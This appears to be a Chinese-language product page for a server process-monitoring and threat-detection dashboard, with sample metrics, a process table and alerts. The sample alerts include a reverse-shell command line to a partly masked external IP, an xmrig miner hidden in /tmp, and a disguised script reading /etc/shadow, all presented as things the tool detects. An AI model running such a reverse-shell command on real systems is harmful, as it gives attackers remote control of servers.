📊 PROCESS VISIBILITY
进程实时 监控系统
全方位掌握服务器上所有进程的运行状态、资源消耗和异常行为，
实时发现挖矿、反弹Shell、可疑脚本等恶意进程
287
活跃进程数
38.2%
CPU总使用率
5.8G
内存使用量
3
今日异常进程
⚙️ 系统资源 总览
主机关键性能指标实时快照
38%
CPU 使用率
62%
内存使用率
54%
磁盘 I/O
📈 资源使用趋势 (24h)
🖥️ 进程列表 TOP
按CPU使用率排序的活跃进程
| PID | 进程名 | CPU% | 内存 | 用户 | 运行时长 | 命令行 | 状态 |
|---|---|---|---|---|---|---|---|
| 1423 | nginx | 12.4% | 345MB | www | 14d 3h | nginx: worker process | 正常 |
| 2871 | mysqld | 8.2% | 1.2GB | mysql | 14d 2h | /usr/sbin/mysqld | 正常 |
| 5623 | xmrig | 45.8% | 892MB | root | 2h 15m | /tmp/.cache/xmrig --donate=0 | 异常 |
| 8092 | php-fpm | 3.1% | 156MB | www | 14d 3h | php-fpm: pool www | 正常 |
| 9234 | java | 5.2% | 2.8GB | tomcat | 7d 6h | /usr/bin/java -jar app.jar | 正常 |
🚨 异常进程 告警
今日检测到的可疑进程活动
高
🔴 检测到挖矿进程: /tmp/.cache/xmrig
PID 5623 · CPU占用45.8% · 启动于 root · 进程链接至已知矿池: pool.minexmr.com:443 · 建议立即终止
高
🔴 反弹Shell连接: bash -i >& /dev/tcp/45.x.x.x/4444
PID 7845 · 由 www 用户启动 · 外联至境外IP · 典型的反弹Shell特征 · 已自动阻断
中
🟡 可疑Python脚本: /tmp/.update.py 持续运行
PID 6231 · 运行时间 4h22m · 文件名伪装为系统更新 · 持续读取 /etc/shadow · 建议调查
🔍 高级监控 能力
🌳
进程树分析
可视化展示进程父子关系，一眼发现伪装进程（如伪装成nginx的nc）和异常派生链（如bash创建的curl外传）
📋
启动项监控
监控crontab、systemd service、init.d等启动项，防止攻击者添加持久化后门
🧊
进程冻结/终止
支持一键冻结可疑进程（暂停执行保留现场）或立即终止，便于安全分析和应急响应